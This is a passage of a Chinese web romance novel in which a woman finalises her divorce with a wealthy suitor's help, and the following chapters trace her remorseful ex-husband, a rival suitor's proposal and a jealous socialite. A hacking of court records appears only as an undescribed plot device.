当他发现他们有了肌肤之亲,他愤怒、怨恨、痛斥,唯独没想过怜悯她。
他亲手毁了原本属于自己的爱情。
在无声的岁月中,他弄丢了她。
季宴礼伏在电脑桌上哭得泣不成声。
苏容泽的这套别墅在黄金地段,闹中取静,周边配套是顶级的。
内部有八个房间,地上两层地下一层,装了电梯方便通行。
室内的装修是舒星若喜欢的风格,小到摆件大到家具,无一不是舒星若的爱好。
最让她满意的是书房里的书,全是她爱看的医书。各种典籍,舒星若看出来布置的人花了大心思。
儿童房里充满科技元素,摆放了一个最新的机器人,这机器人可以智能对话,完成很多指令。
季知许欣喜不已,他拉拉舒星若的衣角:“妈妈,我喜欢这个新家。”
舒星若笑着说:“我也喜欢。”
苏容泽开心的说道:“既然喜欢,就收下吧。”
舒星若却拒绝,“我花钱买可以,你送我不行。”
苏容泽霸气的说:“这房子我只送不卖。”
他亲手准备的婚房,卖什么卖?
季知许扑闪着大眼睛,心想:“乖乖,他好霸气。大房子说送就送。”
舒星若望着他,遗憾的说道:“那我们去看别的房子。”
拉着季知许转身要走。
苏容泽只能说:“等你领到分居生效文件再说,我陪你去。”
“行。”
舒星若打电话给高峰让他接季知许回家,高峰说:“太太,我正在送先生去医院。”
季宴礼在后座说:“星若,我有急事要处理,你自己送儿子回来。”
医院里不就是有个何欣吗?真是狗改不了吃屎。
苏容泽让他的司机送季知许回家,他们一起去港城。
苏容泽提前申请了航线,坐他的私人飞机去。为了她的离婚,他可是做足了准备。
舒星若感慨,季宴礼的飞机她从来没坐过,季宴礼说她不配,转头给何欣坐。
现在坐着别的男人的私人飞机,去领分居文件,她的婚姻是一场活生生的笑话。
空姐端来红酒和芝士,苏容泽问:“要不要喝一杯?”
舒星若欣然接受,在万米高空喝酒庆祝,离开那个不知好歹的男人。
他们碰杯,红头的勒桦慕西尼特级园,入口顺滑,展现出饱满的果味和优雅的酸度。
酒体丰满,单宁结构细腻而坚实,支撑着酒的整体架构。
悠长的余味,带有持久的红色水果、香料和微妙的矿物感。
舒星若感慨,“无论是这杯酒还是那套房子,无不是你的精心杰作。”
“我不值得你这样费心。”
苏容泽低头抵住她的额头,两人鼻尖相触,这么近的距离让苏容泽呼吸急促。
“你是我第一个动心的女人,谁让你偷走了我的心?”
他轻轻吻了舒星若诱人的粉唇,舒星若大惊失色,放下酒杯,推开他:“我没有准备好进入下一段感情。”
苏容泽说:“感情并不影响你的事业,何况我会成为你的助力。让你登上巅峰。”
舒星若望着眼前这个俊秀矜贵的男子,她心里清楚,他们之间隔着千山万水。
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“容泽,我不是你的良配。我结婚生子过,又没有生育能力了。你拥有庞大的商业帝国,就不说别人,你的母亲都不会同意将来你的资产落入苏恬手中。”
“将来她必定给你找一位门当户对的女人,生下属于你的孩子,继承家业。”
与其将来受伤,不如这份感情从来没有开始过。
她不再是22岁的舒星若,可以不顾一切的向心爱的男人唱《一生中最爱》。
六年的冰窖婚姻让她明白,有些事勉强不来。
舒星若的话直击苏容泽的内心,他们之间确实有很多障碍。但是他好不容易让她离婚了,他怎么舍得放她走?
苏容泽说:“不考虑其他,你单单觉得我这个人怎么样?”
“非常好,长相优越能力突出,人品又好。你值得更好的女人。”
苏容泽揽住她的腰肢,在她耳边低语道:“不许给我发好人卡,星若,你说的那些障碍我一定会排除掉。”
舒星若直勾勾的盯着他:“你甘心你的商业帝国落入你苏容添手中?”
他淡淡的笑了:“即使我没有自己的孩子,苏家也不会给苏容添,大不了我弄死他们,让恬恬做我的女儿。”
舒星若被他这番话整懵了,他竟然还能想到这样的操作。
可是只要他娶个正常的女人,结婚生子,他不用经历这些。
她喝得有些晕乎,躺到床上,睡了过去。
醒来的时候竟然是苏容泽抱着她睡的,他的臂弯强劲有力,他身上有淡淡的沉香味。
脸部精致的轮廓,睡着了都那么好看。
不知道他什么时候过来的,还好衣衫整齐,他没干什么出格的事。
舒星若有些头大,心里暗暗下决心,必须要远离他,不能耽误他。
到了港城,苏容泽定了两间房间,有些事欲速则不达。
第二天早上苏容泽带舒星若去喝早茶,是一家老牌五星级酒店,他们家的早茶全港最佳。
包厢里,舒星若问苏容泽,“现在你可以告诉我,为什么分居申请这么快生效了吧?”
第90章 官宣离婚
苏容泽端起一杯普洱,慢条斯理的喝了起来。
舒星若耐心等着他的答案,他其实不太想说,见舒星若执着于此,他缓缓开口说道:“我找了一个黑客团队,黑进了港城**系统,修改了你的分居协议提交时间。”
舒星若大为震惊,他轻描淡写的话语中暗藏多少人力物力,一旦事发,他的声誉将毁于一旦,人也将面临法律的制裁。
舒星若眼中写满感激与愧疚:“你没有必要为了我冒这么大的险。”
苏容泽摇头:“你不必愧疚,这些都是我心甘情愿做的。”他不仅是为了让舒星若早日脱离苦海,更有自己的私心。
他深情的望着她:“我不想你在他身边。”
舒星若回避他的眼神,她害怕自己抵不住他的神情,沦陷其中。
他对自己这样好,不能害他。
千言万语只化作了一句“谢谢”。
苏容泽略带失望,但他不会放弃。
早上九点,他们准时到达港城的**,第一个进去领了分居生效协议,同时从律师手中拿到JD离婚判令。
她和季宴礼的婚姻生活彻底结束。
舒星若激动的打电话给林安禾:“安禾我拿到离婚判令了,我跟季宴礼没有关系了。”
林安禾惊得手机都差点掉了,“**,这也太快了,苏容泽牛逼,真给他办成了。他跟你表白没有?你答应他没有?你们啪啪没有?”她想想舒星若跟苏容泽在一起的画面就激动,两人太般配了。
“没有。”面对她灵魂发问,舒星若有些无语,离婚律师的脑洞太大了。
林安禾:“是一个没有还是都没有?”
“他跟我表白,被我拒绝了。”
“靠,姐妹,你不是吧?他对你那么好你都不要?”林安禾从椅子上蹦了起来,“不是所有男人都像季狗一样,你可以先处处看,不行了就换。”
舒星若一头黑线:“我不是这个意思,情况比较复杂,总之我不适合他。”
“行吧,我要忙了,有空我们再说。”
舒星若出来之后,苏容泽问她:“是回去还是在港城停留一天?”
“逛一下吧,我想送个礼物给你。”他帮了自己这么大的忙,不送点东西她心里过意不去。
苏容泽微笑:“行,不知道你想送什么给我?”
舒星若说:“要不我送对袖扣给你吧。”她昨晚睡前就想好了,也在官网看了图片,觉得挺搭苏容泽的。
“好!”只要是她送的,什么都行。
直奔梵克雅宝的门店,舒星若说:“JM钻石袖扣。”
苏容泽心中一阵窃喜,原来她早就选好了。
这副袖扣采用白金钻石镶嵌,低调中透着奢华,价格三十万出头。
恰好是苏容泽喜欢的风格,她眼光真好。
“喜欢吗?”
“当然。”
舒星若刷自己的卡买下。
季宴礼的卡已经剪掉了,她要跟他彻底告别。
苏容泽让柜员不要打包,他笑着说:“帮我戴上可以吗?”
舒星若说:“我不会戴。”她确实不会戴,她从未帮季宴礼戴过。
一旁的柜员示范了一下,舒星若看了一眼,记下了。
回到车里,他自拍了一张照片放进朋友圈。
一他手放在锁骨上,突出袖扣。
【她送的,很喜欢。】
他的朋友圈立刻引来了围观人群,第一个发现的是杨思淼。
他打来电话:“二哥,你是不是拿下若姐了?她离婚了没有?”
苏容泽:“离了,她暂时还不是我的女朋友。”
“快点快点,我想她当我嫂子。”杨思淼比苏容泽还激动。
“好,我尽快!”他嘴角含着笑意。
季宴礼是两小时后看到的,他眉心直跳,直觉告诉他这是舒星若送的。
他打给舒星若,电话打不通,季宴礼心里更加慌。
此时的舒星若已经在回海城的飞机上了。
苏容泽说:“那套别墅你先住着,我不过户给你,你也不用给钱,你自己交物业费那些就行了。等你哪天不想住了再说。”他特意为她准备的离婚礼物,怎么可能收她的钱?
“行吧。”
苏容泽又叮嘱道:“你今天不用
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回季家了,你们的东西我派人去帮你取。我怕季宴礼不放你走。”
“嗯,一会下飞机我就通知他。”
舒星若也觉得以季宴礼现在的状态,他确实会发疯,做出什么事她也不确认。
刚到海城,舒星若就发了一条微博;【已单身!】
抹掉重要信息,晒出了离婚令,同时发给了季宴礼。
季宴礼的电话立刻过来了,他愤怒的咆哮:“我们什么时候离的婚?我没有同意过。”
舒星若撇嘴:“分居申请已经生效了,由不得你不同意,法庭直接判的。以后我们是陌路人,你要是像个人就不要跟我争许许的抚养权。”
季宴礼目瞪口呆:“你回来,我们慢慢聊。”
“季家我不会再回去了,我和许许的东西我会派人去取,以后再也不见了。”
她挂了电话,季宴礼又打,直接拉黑。
季宴礼气得浑身颤抖,他给季氏的法务总监崔景辉打电话:“你上来一趟。”
崔景辉刚已经听人说了舒星若宣布离婚的事,他赶紧打开舒星若的微博,截屏了离婚令。
崔景辉到的时候,季宴礼的办公室一片狼藉,他气得把里面的东西全砸了。
崔景辉怕他发疯朝自己发火,小心翼翼的问:“季总,我看了离婚令。是太太申请的分居申请,到一年半了,自动离的。”
季宴礼明明记得舒星若提离婚是几个月前,不可能有一年半。苏容泽即使权势再大,港城**他也动不了手脚。
除非舒星若真的是一年半以前提的。
他努力回忆一年半之前的事,那时候舒星若对他还是很关心。每天等他回家,房门从来不锁,期盼他去她的房间。
即使他每天冷脸以对,她还是帮他置办衣物,定期把脉。
“不可能,一年半之前她还爱我,不可能提分居申请。”季宴礼喃喃自语道。
崔景辉说:“我这就找人去港城**查,看到底怎么回事?”
“快去,我要知道到底是谁在捣鬼。”季宴礼目露凶光,要是发现是苏容泽干的,他非弄死他不可。
第91章 前夫哥受尽委屈
季宴礼打舒星若公司电话,“你们舒总今天在不在?”
黄丽歌问:“请问你是哪位?”
“季宴礼。”
原来是前夫哥,谁让他作,把婚给作离了。
黄丽歌的声音里带着不易察觉的幸灾乐祸:“舒总今天不在公司,您打她电话。”
打得通他还用废话吗?
言永飞这边也来消息了:“季总,太太昨天坐苏容泽的私人飞机去的港城,今天下午已经回来了。”
季宴礼怒火再次燃起,“她竟然坐苏容泽的飞机?”
言永飞心里吐槽:“谁让你不让她坐你的?”嘴上说:“可能苏容泽在帮太太吧。”
“不是可能就是。”季宴礼气得胸膛剧烈起伏。
季宴礼真想刀了苏容泽,不是他的出现,舒星若不可能这么快能离婚成功。
自己大意了,才让他有机可乘。
季宴礼问:“她回娘家住了吗?”
“没有。”
季宴礼心如刀绞,“她住到苏容泽家了?”
言永飞摇头:“目前不太清楚。”
舒星若竟然带着儿子跟别的男人同居,他打季知许的电话手表。
“儿子,你在哪?”
季知许看向舒星若,她食指放在唇上做了个“嘘”的手势。
季知许秒懂。
“我和妈妈搬出去啦,爸爸,你自己照顾好自己。周末你有空可以带我出去玩。”
季宴礼眉头一皱:“你们搬到哪了?是不是苏容泽家?”
季知许摇头:“不是,妈妈买了一个别墅,我很喜欢,比家里差不多了多少。你放心,我们都过得挺好的。”
不是同居就好,季宴礼的心稍微定了定,“把手表给你妈。”
季知许看了看舒星若,舒星若伸手接过,“什么事?”
“你能不能见我一面?我有话要跟你说。”
舒星若冷漠的说:“不能,我们之间无话可说。”
季宴礼乞求道:“那你把我从黑名单里放出来。”他不能忍受连话都跟她说不了。
“你别发疯我就放。”
“好!”
舒星若将他从黑名单放了出来,季宴礼发了一条微信:【儿子的抚养权我们沟通一下。】
舒星若暂时不想拿出季家安给的协议,她怕季宴礼会找他爸吵架。
【过几天吧,等你冷静了再说。】
【周末带上儿子,我们一起谈。】
【好!】
舒星若指挥佣人将她的东西放到位,苏容泽想得很周全,佣人都是精挑细选的。
他想让舒星若住起来舒服,这套别墅离白金湾壹号很近,他相信自己很快就能搬进来。
舒星若忙碌着,他坐在茶室喝着咖啡,觉得家里有她真好。
季宴礼的微信又来了:【我昨天去医院不是为了看何欣,我是去找她报警。姜学名已经被拘留了。】
【我不是心疼何欣,是我怕姜学名继续骚扰你。】
舒星若回了一句:【知道了!】
她心想:“我是这么好骗的吗?”本来想着姜学名还能**何欣一段时间,季宴礼这个搅屎棍又去搅合,真扫兴。
东西摆放完毕之后,舒星若给舒延兆打电话:“外公,我跟季宴礼正式离婚了。”
听到这个消息,舒延兆高兴得比治好了病人还开心,“太好了!你终于脱离苦海了。你要回家来住吗?”
“不了,我朋友暂借了一个别墅给我,挺大的。我想你们搬过来跟我们一起住,你们也该好好享受生活了。”
舒延兆眯起眼睛,笑了笑,这朋友不就是苏容泽吗?别墅是他要送,若若不肯收,只好说暂借。
他们老人家可不能去当电灯泡。
“算了,我和你外婆年纪大了,有小王照顾我们,你放心。你的身体放心,我帮你调理着,一定没事的。”
他盼着舒星若跟苏容泽共结连理呢,要是再生个漂亮的孩子就更圆满了。
舒延兆的医术舒星若是了解的,自己不孕的问题迟早都会好,可她已经有了许许,已经知足了。
佣人做好了晚饭,舒星若留苏容泽吃饭,席间三人聊得很开心。
季知许跟苏容泽聊科技,苏容泽知道他喜欢这些,特意提前看了很多科学类书籍,为季知许解疑答惑。
小家伙特别开心,这位苏叔叔比他想象中的
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还要好。
要是真的跟妈妈结婚了,他们也能相处得很好。
妈妈又能幸福,一举两得。
舒星若偶尔跟他聊一两句生活琐事和公司经营的小事,他有问必答。
餐桌氛围比在季家欢乐多了。
舒星若想,这个婚早该离了。
吃完饭苏容泽说:“你散步送我回家吧!”
别墅离白金湾壹号走路大概十多分钟,确实可以散步回去。
“行!”
路上两人挨得很近,苏容泽好几次想牵舒星若的手,又因为不敢而停止了。
外面虽然寒风飕飕,但舒星若觉得晚上出来散散步也不错。
路上遇到有人卖花,苏容泽买了一束雏菊送给舒星若。
她收到花挺开心的,嘴角含笑:“谢谢你!”
“愿你的生活中每日都有芳香。”
“嗯,你也是。”
苏容泽说:“我的芳香就是你。”
舒星若低头不语,跟他相处确实挺舒服的。
她没有否认,苏容泽信心倍增。
“我记得你每天早上晨练,我们早上一起锻炼可以吗?”
“好呀,是你来找我吗?”
“对!”
一想到早上就能见到舒星若,苏容泽心情雀跃无比,这日子是越过越有盼头了。
到了白金湾壹号,他不太想上楼,在舒星若的催促下,依依不舍的回去了。
回到家他还细细回味了今天的生活,以后他要每天跟她一起吃饭散步。
季宴礼在办公室待到九点多,才拖着沉重的身体回到季家。
往日挺拔的身躯都显得有些佝偻,他一日之间受尽了委屈。
刘管家见他一脸沮丧和懊恼,明白是舒星若的离开让他备受打击。
刘管家下午就吃到了他们的离婚的瓜。
直摇头:“太可惜了。”
他将舒星若上次给的信封递给季宴礼,“这是太太九月份搬出去的时候,交给我的,让我转交给您,当时您让我扔了,我留下了。”
季宴礼迫不及待的打开,是一份舒星若签好字的离婚协议。
日期赫然写着今年九月份,不是一年半之前。
第92章 给他一个衣帽间
果然有人动了手脚,能有这本事还愿意帮舒星若的人,有且只有一个。
季宴礼咬牙切齿道:“苏容泽,我一定不会放过你。”
立刻打给崔景辉:“我手上有一份太太签了字的离婚协议,日期是九月份,她提交分居申请应该也是这个日子,不可能是一年半之前。”
崔景辉安排的人已经在查了,港城**那边一切合规合法,没有半点纰漏。
“季总,港城**给的日期确实是一年半之前。我们什么都没查到。”
苏容泽料到季宴礼会查,他的人一点痕迹也没留下。
季宴礼现在理解了当初舒星若流产,笃定是何欣的原因了。
有些事压根就不需要证据,只有特定的人才会去做。
他后悔当初执着于找证据,伤了舒星若的心。让她心灰意冷,急切的要离开自己。
季宴礼坐在舒星若的梳妆台前泪流满面,如果时光可以倒流,他一定会毫不犹豫的相信她。
家里少了舒星若和季知许,冷清得带着萧杀。
他想起舒星若说过只要他弄死何欣父女俩,她就不离婚。
他拿起手机打给她:“星若,你之前说只要我弄死何欣父女,你就会原谅我。现在还作数吗?”
舒星若的声音里透着冷漠:“不用了,我们已经没有关系了。”
她才不想跟好不容易离掉的前夫扯上关系,至于何欣父女俩,她想办法对付。
季宴礼的心像被刀子一寸一寸的割着,“给我最后一次机会。”
电话那头传来盲音。
他不敢再打,怕再次被拉黑。
他让刘管家去酒窖取了酒上来,将自己灌醉,这样心就不会痛了。
何欣刷到了舒星若离婚的微博,开心得嘴都笑歪了。
“**,他终究是不要你了。”
昨天他还特意过来,帮她报警。
要不是他使手段,以姜学名的地位,根本就抓不进去。
反正姜学名被拘留了,她可以重新支楞起来。
季宴礼终归是为了她,不要舒星若的。
怎么见到季宴礼是个令她头疼的问题,她得好好规划一番。
首先得能下地才行,姜学名太狠,她跪得膝盖肿得生疼。
走一步都像被刀尖刺入,痛得钻心。
都怪舒星若,要不是为了对付她,自己才不会招惹姜学名这个老变态。
早上舒星若起床的时候,楼下佣人送来一束芍药花。
叫雪映桃花,粉色花瓣与白色相互映衬,美丽又不失灵动。
花刚到,穿着健身服的苏容泽就到了。
他的腹肌若隐若现,宽肩窄腰的身材,一看就知道平时没少下功夫。
“芍药喜欢吗?”
舒星若意外:“喜欢,你一大早从哪弄的花?”大部分花店还没到开门的点。
苏容泽昨天回去兴奋得睡不着,让宗司辰安排每天早上送花给舒星若。
宗司辰:“苏总,花店没有那么早开门。”
“出双倍价格,让他们自己想办法。”
苏容泽说:“山人自有妙计。”
舒星若笑着说:“还玩起了神秘。我只练八段锦,你要怎么锻炼?”
平时他都是空腹有氧,晚上有空就力量训练。为了陪舒星若,跟她一起锻炼也行。
舒星若问:“你每天这样跑来跑去的不累吗?”
“不累啊,我跑过来的,就当有氧了。你等一下要管我早餐。”
“小意思,你叫人给我一份你的早餐菜单,我让他们做。”苏容泽帮她那么多,照顾好他的生活也算是一种报答。
苏容泽开心:“跟你一起生活真舒服,连我的喜好都考虑到了。”
舒星若纠正他:“别乱说,我们没有生活在一起。”
他心想,迟早的事。
练完八段锦,季知许才起床,舒星若准备去换衣服化妆。
她问苏容泽:“你吃完早餐再去回去换衣服,太麻烦了。要不我给你留一个衣帽间?”
苏容泽等的就是她这句话,有了衣帽间,慢慢就有房间了。
立刻打电话让佣人将他的衣物送过来,他们麻利的在二楼衣帽间摆放好他的物品。各色服饰手表袖扣齐全。
舒星若换好
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衣服,苏容泽也换完了。两人一起下楼。
季知许在早餐桌上看到苏容泽,有点诧异,“苏叔叔,你住我家了吗?”
“没有,我早上跑步过来的,找你妈一起锻炼。”
季知许说:“你这是三分钟热度呢,还是想天天陪我妈?”
“当然是天天啦!”
季知许笑:“但愿你能坚持。”
舒星若头大,低声说:“不要跟我儿子讨论这些,他还小。”
苏容泽说:“他人小鬼大。”
季知许不高兴了:“不要当着我的面说悄悄话。”
苏容泽摸他的头:“好,下次在你面前不说悄悄话。”
他喜欢这个聪明的孩子,如果有可能他也想要一个孩子。但是舒星若没有生育能力了,凡事不可能十全十美的。
舒星若看出来他喜欢孩子,更加坚定自己不能耽误他。
临走的时候她说:“你既然喜欢孩子就更不能选我,我会耽误你的。”
苏容泽定睛望向她:“你比较重要。”
舒星若轻轻摇头,他一时半会可以这样说,岁月久远之后他再后悔,又是一地鸡毛。
不如从来没有开始过。
苏容泽见她不信自己,也能理解,毕竟她被渣男伤害得太深。
“星若,不急,目前你只要允许我在你身边就行了。”
他是个有耐心的人,舒星若他视若珍宝,不介意多等一等。
她开车到公司的时候,车还未下地库,被一辆劳斯莱斯逼停。
车窗摇下,车上的人正是姜学名。
舒星若纳闷,他不是被抓了吗,怎么这么快放出来了?
姜学名留意到舒星若脸上的疑惑:“又没有证据是我伤的何欣,自然出来的快。”
他挑眉:“上我的车聊两句?”
舒星若可不敢上这辆贼车,“我们之间没什么可聊的,你要继续拦着我我就直接撞过去。”
姜学名也知道她对自己的防备,“我不会伤害你,你不放心就去你公司聊。聊一下对付何欣的事。”
敌人的敌人就是朋友。
“好!”
第93章 你画的饼我不吃
与姜学名一起进电梯,密闭的空间里,舒星若觉得空气都尴尬的凝滞了。
姜学名站在她身侧,视线毫不避讳地落在她的侧脸上。
这张脸,是真的像,像到能与记忆里的那个人重叠。
但他能分辨出不同。
舒月的轮廓是江南水乡的温婉,而眼前这个,平时像江水般温柔。
一旦惹到她,是淬了火的冰,坚硬,且带着一股子不管不顾的狠劲。
电梯门一开,公司瞬间成了庆典现场。
五彩的拉花和礼炮筒喷出的亮片一同炸开,劈头盖脸地落了舒星若一身。
“恭喜舒总恢复单身,喜提自由!”
“恭喜舒总离婚成功!”
黄丽歌捧着一大束香槟玫瑰,塞进舒星若怀里:“舒总,下一个更好,我们都看好苏容泽哦。”
昨天舒星若在微博发了离婚令的照片,公司的各个群里就已经炸开了锅,甚至有人开了盘口,赌她会不会嫁给苏容泽。
不嫁的赔率,高达一比九千。
舒星若拨开黏在头发上的亮片,清了清嗓子:“有客人在。”
同事们这才注意到她身后的男人,一个个噤了声,好奇地打量着这个陌生面孔。
姜学名向来低调,公司里认识他的人寥寥无几。
进了办公室,门一关,隔绝了外面的喧嚣。
姜学名没有坐,而是缓步打量着室内的陈设,从墙上的抽象画到桌角的绿植,目光所及之处,都透着一种莫名的熟悉。
“你的审美,很像你母亲。”
舒星若没接这个话头,径直走到茶水台,将黄丽歌早就备好的花茶倒了一杯,推到他面前的桌上。
“我对于你的回忆没有兴趣,说正事。”
她的动作干脆利落,不带一丝多余的情绪。
姜学名端起茶杯,一股清冽又馥郁的香气钻入鼻腔。
他只是喝了一小口,温热的茶水滑过喉咙,二十多年前被尘封的记忆,就这么被轻而易举地勾了出来。
这香气,这味道……只有她,能还原得一模一样。
这些年,他试过无数种配方,请过无数个茶艺师,却再也配不出当年的味道。
“你的茶,可以卖给我一些吗?”
“十万一盒。”舒星若直接说。
“来十盒。”他答应得同样干脆。
一百万。舒星若在心里盘算着,这笔钱来得正好,就当是他之前害自己公司损失那么多营业额的一点补偿了。
姜学名放下茶杯,开口道:“何欣被我搞进医院了,季宴礼去看她,帮她报的警。她那点伤,屁大点事,所长本来都不想理的,哪知道那小子直接往上施压,这才把我弄进去,拘留了一天。”
舒星若给他续上茶水:“她是季宴礼的初恋,虽然骗了他,但是季宴礼一向对她爱护有加。”
姜学名身体微微后仰,靠在沙发上:“所以,你报复何欣,就是因为她抢了你男人?”
舒星若摇了摇头,拿起自己的杯子,却没有喝。
“不光是这个原因。”
“还因为她害**我的孩子。当年她算计我,害季宴礼误会了我整整六年。”
空气安静了一瞬。
姜学名只听清了那句“害**我的孩子”,他原本松弛的姿态瞬间绷紧了。
“你现在身体怎么样了?”
“除了没了生育能力,其他都挺好的。”她的声音很轻,很平静。
姜学名的怒气像是被瞬间点燃的引线,直冲天灵盖。
“这个贱女人!这么下作的手段都用得出来!”他的声音陡然拔高,“季宴礼是死的吗?你被害成这样,他还跟那个女人藕断丝连!”
舒星若终于抬起手,喝了一口已经微凉的茶。
“所以离婚了。”
“离得好!”姜学名从沙发上站起来,在办公室里来回踱步,“我本来只想着送何欣进去待几年,现在看来,太便宜她了。”
他停下脚步,一字一句,像是从牙缝里挤出来的。
“现在,我要将她送进人间炼狱。”
舒星若的姿势没有变,反而像个置身事外的看客:“你打算怎么送?”
姜学名重新坐下,情绪已经收敛了些:“暂时不告诉你,等弄完了再跟你讲。”
舒星若提醒道:“季宴礼要是阻拦你怎么办?”
“我
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会想个万全之策。”
舒星若换了个话题,问出了心底的疑惑:“为什么你突然收手,不对付我了?”
姜学名拿起茶杯,摩挲着温润的杯壁,淡淡一笑。
“我公司的名字,揽月制药。”
舒星若没有出声。
“我只想揽住你的母亲,舒月。当年因为我做错了事,你外公将我赶了出去,我这辈子最想做的事,就是揽住舒月。”
舒星若的后背窜起一阵寒意。她跟母亲长得那么像,这老头子不会是把主意打到自己身上了吧。
果不其然。
“如果可以,你嫁给我。”姜学名语出惊人,“我所有的财产,全部交给你。我没有生育能力,将来我的一切,都是你的。”
将来,将来。
他才五十多岁,身体硬朗,还能再活几十年。这不过是老男人惯用的画饼伎俩。
舒星若身体向后靠去,拉开了些许距离。
“姜总,我对你的钱没有兴趣。我们之间,不可能。”
“我知道,你喜欢苏容泽。可是人家苏家是老牌豪门,里面的规矩一大把,你又是二婚,你不怕他家里人为难你?”
舒星若被他这番话逗得想笑。
“谁说我要嫁给他的?”
她站起身,走到窗边,看着楼下的车水马龙。
“我一个人单身不好吗?”
姜学名却觉得历史重合,舒月当年离婚后没几年就抑郁成疾,他可不想舒星若重蹈覆辙。
“你要是不相信我的话,我现在可以把名下资产过户四分之三给你。”
舒星若服了:“你看我像是缺钱的样子吗?”
姜学名不屑:“据我所知,你并没有拿季宴礼的财产,能有多少钱?”
舒星若嘴角扯了扯:“不是非要像你一样有钱才行。”
君子爱财取之有道,她才不会为了钱委身一个老头。
姜学名带着威胁说道:“你这点小生意我可以让你做不下去,到时候你只能坐吃山空。”
舒星若眼角斜睨他:“你随便。”
姜学名刚出门,舒星若的电话响了,是韦瑛。
“星若,宴礼出事了。”
第94章 季宴礼的腿废了
舒星若皱眉问道:“出什么事了?”
电话那头的韦瑛声音发着抖,带着哭腔:“他昨天喝了一夜的酒,5点多胃出血送进医院了,现在腿失去了知觉。跟当年一模一样。”
舒星若的心沉了一下,怎么会突然弄成这个样子。但这个念头只是一闪而过,季宴礼不再是她的爱人,他的死活,与她无关。
听不到舒星若的回应,韦瑛的声音里全是哀求,声泪俱下:“星若,我知道宴礼对不起你,你们也离婚了。就当我求求你,你救救他。”
舒星若吐出一口气:“行,您把医院定位发给我,我这就过来。”
医院里消毒水的味道浓得化不开,舒星若仿佛回到六年前车祸醒来的场景。
推开病房的门,那个一向神采飞扬,俊朗如画的男人,此刻像个被抽掉所有线头的破败娃娃,安静地躺在病床上。
他的皮肤呈现出一种透明的白,整个人都陷在纯白的被褥里,毫无生气。
舒星若的脚步声惊动了他,他费力地转过头,扯出一个难看的笑:“星若,我这算不算报应?你治好了我,我冷暴力了你六年。何欣害**我们的孩子,我也没有报复她。对不起,星若。”
一滴水渍顺着他的鬓角滑落,洇湿了枕头的一角。
这是季宴礼第一次落泪,当年他扎针做物理治疗,痛到浑身痉挛都没有掉过一滴泪。
原来,失去舒星若,他的天是真的塌了。
舒星若没有理会他的忏悔,径直走到床边,拿起他的手腕把脉。片刻后,她松开手,语气平淡地开口:“我们离婚,真的让你这么郁结?”
季宴礼的声音沙哑:“我错得离谱,失去了最爱我的你,我怎么能不郁结于心?”
“可是人生没有后悔药,我们都要向前看。”
“星若,我过不去,没有你我生不如死。”
舒星若叹了口气,他们之间,早就隔着死去的孩子和六年的光阴,再也回不去了。
她打开随身的针囊,一排银针在灯下泛着冷光。她熟练地取针施针,动作利落精准,仿佛回到了六年前她救他的那些日子。
只是,她身上那股温柔与爱意消失殆尽,只剩下医生对待病人的疏离。
她拍了张药方的照片发给舒延兆,让行止堂的人尽快把药煎好送过来。
一小时后,喝完药的季宴礼,腿慢慢恢复了知觉。
“星若,谢谢你!”
“不用,我是医生,你付钱就行了。”
他挥了挥手,一旁的言永飞立刻会意,出去安排。
几分钟后,舒星若的手机短信来了,一笔52000000的款项到账。
这数字幼稚,但这数额确实美观。
她淡淡地笑了,“季总真是越来越大方了。”
季宴礼的身体里充满了愧疚,“我都没有分你财产,你不怨我吗?”
舒星若说:“当年签了婚前协议,我有自知之明。”
每一句平静的话,都是无声的指责,指责他从未爱过自己,娶她不过是为了平息当年的**风波。
“星若,对不起!”
临走时,舒星若停在门口,没有回头:“你不想这条腿彻底废了,就好好爱惜自己的身体,戒酒,不要情绪波动太大。我不是每次都能救你的。”
“好!”
韦瑛在走廊尽头等着,送舒星若出去,“星若,今天太谢谢你了。”
“妈,阿姨,您对我一直很好,我不会让您失望的。”
韦瑛拉住她的手,“不管你是不是宴礼的老婆,你都是我的孩子,不要改口。你爸昨天还说要把蓝湾那套别墅给你,过户手续他已经找人在办了。”
舒星若心头一暖,这些年,老两口对她是真的不错,“谢谢妈,周末我带许许回去看你们。”
“好嘞!”
坐进车里,苏容泽的电话就打了过来。
“想找你吃午饭,你不在公司。”他的声音带着笑意。
“季宴礼腿出问题了,来医院给他看病。”
苏容泽那边沉默了几秒,他听她说过当年治腿的事,心里莫名发慌,怕他们旧情复燃。
“他
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的腿要治疗多久?”
“已经好了,只要他不作死,不会再犯病。”
苏容泽从她轻松的语气里,捕捉到了自己想要的信息,松了一口气。
“晚上一起吃饭?”
“没问题。”
舒星若随便找了家饭店吃午饭,刚动筷子,一道身影停在了她的桌边。
舒星若不认识她,“请问你是?”
“我叫惠萱彤,是阿泽的朋友。”
阿泽,叫得这么亲昵,看来他们关系匪浅。
惠萱彤自顾自地在她对面坐下,将手里的爱马仕铂金包放在一旁,动作优雅。
她穿着一身香奈儿的粉色软呢套装,妆容精致,像一朵温室里精心培育的娇嫩花朵。
“舒小姐,别介意,我只是恰好路过,看到你一个人,想过来打个招呼。”
舒星若放下筷子,用餐巾擦了擦嘴,“惠小姐有事?”
“也没什么大事,”惠萱彤笑意盈盈,那笑容里却藏着冷漠,“就是阿泽的父母下周回国,要办一个家宴,特地嘱咐我,一定要去。”
这话里的意思再明白不过。
舒星若身体向后靠在椅背上,“所以?”
“阿泽这阵子,心思好像都在舒小姐身上。我怕他忘了这么重要的事,所以想来提醒一下舒小姐。”惠萱彤端起桌上的水杯,轻轻抿了一口,“毕竟,苏家和我们惠家是世交,长辈们都很看重这些传统。”
她在强调,自己是苏家认可的,而舒星若,是个外人。
舒星若不为所动,“这是你和苏容泽之间的事,你找错人了。”
“怎么会找错人呢?”惠萱彤放下水杯,身体微微前倾,“舒小姐,你很漂亮,也很有能力,但苏家那样的门第,不是光有这些就够的。你离过婚,还和季宴礼纠缠不清,这些事,阿泽的父母不可能接受。”
她顿了顿,声音压低了几分,像是在分享什么秘密。
“我听说,你今天还去医院看季宴礼了?”
舒星若的身体僵了一下。她怎么会知道,苏容泽告诉她的?
第95章 不介意鱼死网破
惠萱彤像是看穿了她的心思,“你别误会,不是阿泽说的。我在那家医院有认识的人。舒小姐,你和季宴礼的过去太复杂了,就算阿泽不介意,苏家也会介意。你这样,只会让阿泽更加为难。”
舒星若心里翻了个大白眼,淡淡笑了,她拿起自己的手机,在屏幕上按了几下。
“惠小姐,你以什么身份来跟我说这些话,苏容泽的女朋友?”
惠萱彤的笑容凝固了一瞬,“我们青梅竹马,两家的长辈都希望我们在一起。”
“哦,那不还是没成么?”舒星若把手机屏幕转向她,上面是她刚刚拨通的电话,联系人姓名是“苏容泽”。
